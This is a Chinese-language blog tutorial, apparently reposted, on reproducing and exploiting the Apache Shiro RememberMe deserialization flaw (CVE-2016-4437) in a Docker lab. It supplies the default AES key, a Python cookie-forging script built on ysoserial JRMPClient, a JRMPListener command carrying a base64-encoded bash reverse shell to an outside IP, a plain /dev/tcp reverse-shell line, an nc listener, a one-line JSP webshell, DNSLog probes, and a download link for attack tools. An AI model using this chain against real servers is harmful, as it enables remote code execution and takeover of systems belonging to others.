详细shiro漏洞复现及利用方法(CVE-2016-4437)

2023-11-24 14:40

本文主要是介绍详细shiro漏洞复现及利用方法(CVE-2016-4437),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

前言

1.了解shiro

2.shiro漏洞原理

3.漏洞验证

4.漏洞复现

 5.漏洞利用

5.1图形化工具利用

5.1.1shiro550/721工具

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

         5.2JRMP利用

        5.2.1工具准备

        5.2.2漏洞利用具体步骤 

        5.2.3漏洞检测

前言

该篇文章比较详细的介绍shiro漏洞利用,无论是shiro漏洞图形化工具利用,还是shiro漏洞结合JRMP我觉得比大多数文章都详细,如果你对网上结合JRMP反弹shell不是很明白,非常推荐来看看这篇文章。另外漏洞利用工程中用到的工具以及代码都上传到百度网盘,供大家使用,在文章最后哦。

1.了解shiro

Apache Shiro框架是一个功能强大且易于使用的 Java 安全框架,它执行身份验证、授权、加密和会话管理。借助 Shiro 易于理解的 API,您可以快速轻松地保护任何应用程序——从最小的移动应用程序到最大的 Web 和企业应用程序。

2.shiro漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值

3.漏洞验证

  1. 未登录的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  2. 登录失败的话,不管有没有勾选RememberMe字段,返回包都会有 rememberMe= deleteMe 字段
  3. 不勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有RememberMe字段
  4. 勾选RememberMe,登录成功的话,返回包set-Cookie里有rememberMe=deleteMe字段,还会有remember 字段,之后的所有请求中Cookie都会有rememberMe字段
  5. 或者可以在cookie后面自己加一个rememberMe=1,看返回包有没有rememberMe= deleteMe

4.漏洞复现

靶机:linux kali 192.168.3.27

接受反弹shell: windows10 192.168.3.207

这里直接使用docker拉取镜像,当然也有其他靶场的。

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 5555:8080 medicean/vulapps:s_shiro_1
原本端口是8080给他换成5555

 5.漏洞利用

这里我们可以使用图形工具进行利用,也可以使用代码进行利用。首先我们将图形化工具利用。

5.1图形化工具利用

5.1.1shiro550/721工具

1.输入url地址

上面有三个选项,第一个选择如果是自定义http请求,就勾选它,下方会出现输入框。第二个选择如果想要密钥爆破选择keys.conf.big字典,该字典的密钥多一点,默认是keys.conf,该字典都是一些常用密钥。第三个选择如果想指定key以及利用链等。一般来说我们不用选择那么多。直接输入url就点击下一步就行。

2.选择方式检测

这里有四个方式,方式优缺点各不相同,可以看下面链接了解。这里我们选择第四种,因为有回显大家看的比较清楚。

工具|Shiro漏洞一键检测利用工具ShiroExploit - SecPulse.COM | 安全脉搏

 

 3.进行检测

如果存在漏洞,上面的输入框就可以输入,并且显示该shiro的默认密钥是什么,以及利用链等等。

 4.命令执行

当我们检测到漏洞时候,就可以在输入框输入命令,因为我选择的是第四种回显方式,所以命令结果会在下面显示出来,比如如果选择第一种检测方式他就没有结果显示,就只有执行成功。

注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。

检测到目标存在Shiro反序列化漏洞

 5.反弹shell

因为我们的靶机是linux系统所以我们选择linux,后面填写的是接受shell的ip地址和端口。我们在接受shell机上利用nc开启8888端口监听,过一会就 可以看到连接成功。

6.获取webshell

该工具上传的木马是在config文件夹里面shell.jsp里面,不过这个文件需要自己创建,里面代码需要自己写入。这里木马需要是jsp文件,不然不解析哦。

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

 这时候我们可以访问该地址,因为网站页面不回显命令结果,所以我们可以使用DNSLog看是否有结果。可以看到命令成功执行。

http://192.168.3.27:5555/1.jsp?cmd=ping%20nrdp7u.dnslog.cn

 

 不过这里我出现一个问题就是,我把木马改成那种连接木马文件内容,使用冰歇连接,是失败的,连接不上,不知道是什么原因。我看到别人是连接成功的。

5.1.2shiro_attack-4.5.2-SNAPSHOT-all工具利用

这个工具可以进行内存马注入,不过我的靶场是注入不了,查看资料好像需要静态资源,反正我是失败的。其他可以用用,首先我们需要提供目标url,可以选择是post还是get。可以指定密钥可以爆破。可以爆破利用链及回显方式。下面有检测日志,命令执行,内存马等选项。(写这个时候是在公司所以ip有所变化)

5.2JRMP利用

在很多文章里面看到了ysoserial利用,这个是一个java序列化工具。因为我们的漏洞是由于反序列化造成的。首先我们来看需要准备什么。

5.2.1工具准备

第一:你需要安装python,这个就自己百度了。以及一些模块主要是是pycrypto,这个模块主要是用来加密的。

pip install pycryptodome

第二:你需要一个加密的代码,这个我会直接给到大家,网上一搜也有很多。

第三:需要安装maven,这个主要是给ysoserial打包成架包吧。以及下载ysoserial,或者你可以去网上下载打包好的。

下载maven 并进行配置。
sudo wget  https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -zxvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /usr/local/maven3
在/etc/profile末尾添加maven环境变量:
export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin
source /etc/profile下载ysoserial并进行打包
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
#加密代码
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ == '__main__':payload = encode_rememberme(sys.argv[1])   
print( "rememberMe={0}".format(payload.decode()))

5.2.2漏洞利用具体步骤 

第一步:首先我们需要将一个地址加一个端口进行加密,这个地址是运行反弹命令的主机ip,也就是我们第二步主机ip。加密的步骤就是我们上面说的序列化——AES加密——base64加密。当然代码都可以帮你处理好了。你的加密代码poc.py,需要和打包好的序列化工具ysoserial放在一起才能进行加密。

第二步:我们成功打包好ysoserial,打包好的工具是在/ysoserial/target/下面的,在该目录执行代码,这里需要监听端口,和你在第一步加密的端口要一致。我都是7777。这里还有一个反弹shell的端口,自己随便设置一下,我是8888.

http://www.jackson-t.ca/runtime-exec-payloads.html#网上在线编码,我打不开,大家试试

反弹命令需要进行base64编码,网上有那种在线的,但是我打不开 ,这个图是我自己网上找的,大家自己试试能不能打开,如果你和我一样打不开就直接找网上那种在线的base64编码把反弹命令放上去编码,然后得到的编码替换掉我代码里面的编码就行。这个ip不是我真实ip,所以不要奇怪我文章编码怎么和我运行时编码不一样。我是在公网所以ip都擦掉了。如果大家是在内网就无所谓了。

bash -i >& /dev/tcp/116.55.22.113/8888 0>&1java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTYuNTUuMjIuMTEzLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}'


 第三步:在你需要接受反弹shell的主机上开启端口监听,用什么端口取决你反弹命令用了什么端口。

nc -lvp 8888

第四步:将你第一步加密的数据,放到你抓包的cookiel里面,自己添加rememberMe字段,将数据放到该字段后面。发送数据。

 一会就会收到反弹shell。一开始我不是很理解这个代码流程,为什么发送目标服务器不是加密的反弹命令而是一个地址加端口。首先我们理解一下为什么这么处理会反弹shell.。具体步骤如下。

  1. vps 跑起 exploit/JRMPListener ,并指定生成 payload1(我们第二步骤)
  2. 向漏洞服务器发送 payloads/JRMPClient 生成的 payload2(我们第一步骤)
  3. 漏洞服务器反序列化 payload2
  4. 反序列化 payload2 的过程中,将会与 exploit/JRMPListener 进行通信
  5. exploit/JRMPListener 自定义了来自任意 JRMP client 的通信处理流程,会将 payload1 返馈给漏洞服务器
  6. 漏洞服务器会根据 exploit/JRMPListener 设计的通信处理流程,进一步反序列化 payload1
  7. payload1 中包含了 RCE 的gadget构造,最终在漏洞服务器上执行任意代码

payload1 中主要利用通用库比如 commons-collections 等

payload2 中主要利用漏洞服务器自带的 jre 中绝对含有的 RMI 相关的gadget

(payload2需要满足两个条件,1:反连vps ,2:第二次反序列化)

6.3漏洞检测

该步骤是和上面漏洞利用是差不多的,第一步我们需要去http://www.dnslog.cn/里面拿一个域名。第二步执行如下代码。就是我们上面漏洞利用第二步,代码不一样。第三步就是我们漏洞利用第一步。第四步就是将加密数据发送出去。然后看dnslog官网里面有没有解析出ip地址。解析就代表执行命令,就存在反序列化漏洞。这个跟我们上面检测工具的第三种比较类似。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections2 'ping wzawdr.dnslog.cn'

这是一部分的资源链接:https://pan.baidu.com/s/1WQFK2VGj6SH55OCT10sisQ 
提取码:ij2b  一个是我上面所展示的工具,一个是打包好的架包。工具使用如下所示

 看在我这边贴心份上点个赞再走呗。

这篇关于详细shiro漏洞复现及利用方法(CVE-2016-4437)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/422109

相关文章

ubuntu20.0.4系统中安装Anaconda的超详细图文教程

《ubuntu20.0.4系统中安装Anaconda的超详细图文教程》:本文主要介绍了在Ubuntu系统中如何下载和安装Anaconda,提供了两种方法,详细内容请阅读本文,希望能对你有所帮助... 本文介绍了在Ubuntu系统中如何下载和安装Anaconda。提供了两种方法,包括通过网页手动下载和使用wg

SpringBoot实现二维码生成的详细步骤与完整代码

《SpringBoot实现二维码生成的详细步骤与完整代码》如今,二维码的应用场景非常广泛,从支付到信息分享,二维码都扮演着重要角色,SpringBoot是一个非常流行的Java基于Spring框架的微... 目录一、环境搭建二、创建 Spring Boot 项目三、引入二维码生成依赖四、编写二维码生成代码五

Oracle 通过 ROWID 批量更新表的方法

《Oracle通过ROWID批量更新表的方法》在Oracle数据库中,使用ROWID进行批量更新是一种高效的更新方法,因为它直接定位到物理行位置,避免了通过索引查找的开销,下面给大家介绍Orac... 目录oracle 通过 ROWID 批量更新表ROWID 基本概念性能优化建议性能UoTrFPH优化建议注

Java中 instanceof 的用法详细介绍

《Java中instanceof的用法详细介绍》在Java中,instanceof是一个二元运算符(类型比较操作符),用于检查一个对象是否是某个特定类、接口的实例,或者是否是其子类的实例,这篇文章... 目录引言基本语法基本作用1. 检查对象是否是指定类的实例2. 检查对象是否是子类的实例3. 检查对象是否

Pandas进行周期与时间戳转换的方法

《Pandas进行周期与时间戳转换的方法》本教程将深入讲解如何在pandas中使用to_period()和to_timestamp()方法,完成时间戳与周期之间的转换,并结合实际应用场景展示这些方法的... 目录to_period() 时间戳转周期基本操作应用示例to_timestamp() 周期转时间戳基

在 PyQt 加载 UI 三种常见方法

《在PyQt加载UI三种常见方法》在PyQt中,加载UI文件通常指的是使用QtDesigner设计的.ui文件,并将其转换为Python代码,以便在PyQt应用程序中使用,这篇文章给大家介绍在... 目录方法一:使用 uic 模块动态加载 (不推荐用于大型项目)方法二:将 UI 文件编译为 python 模

Python将字库文件打包成可执行文件的常见方法

《Python将字库文件打包成可执行文件的常见方法》在Python打包时,如果你想将字库文件一起打包成一个可执行文件,有几种常见的方法,具体取决于你使用的打包工具,下面就跟随小编一起了解下具体的实现方... 目录使用 PyInstaller基本方法 - 使用 --add-data 参数使用 spec 文件(

将图片导入Python的turtle库的详细过程

《将图片导入Python的turtle库的详细过程》在Python编程的世界里,turtle库以其简单易用、图形化交互的特点,深受初学者喜爱,随着项目的复杂度增加,仅仅依靠线条和颜色来绘制图形可能已经... 目录开篇引言正文剖析1. 理解基础:Turtle库的工作原理2. 图片格式与支持3. 实现步骤详解第

Python的pip在命令行无法使用问题的解决方法

《Python的pip在命令行无法使用问题的解决方法》PIP是通用的Python包管理工具,提供了对Python包的查找、下载、安装、卸载、更新等功能,安装诸如Pygame、Pymysql等Pyt... 目录前言一. pip是什么?二. 为什么无法使用?1. 当我们在命令行输入指令并回车时,一般主要是出现以

Docker安装MySQL镜像的详细步骤(适合新手小白)

《Docker安装MySQL镜像的详细步骤(适合新手小白)》本文详细介绍了如何在Ubuntu环境下使用Docker安装MySQL5.7版本,包括从官网拉取镜像、配置MySQL容器、设置权限及内网部署,... 目录前言安装1.访问docker镜像仓库官网2.找到对应的版本,复制右侧的命令即可3.查看镜像4.启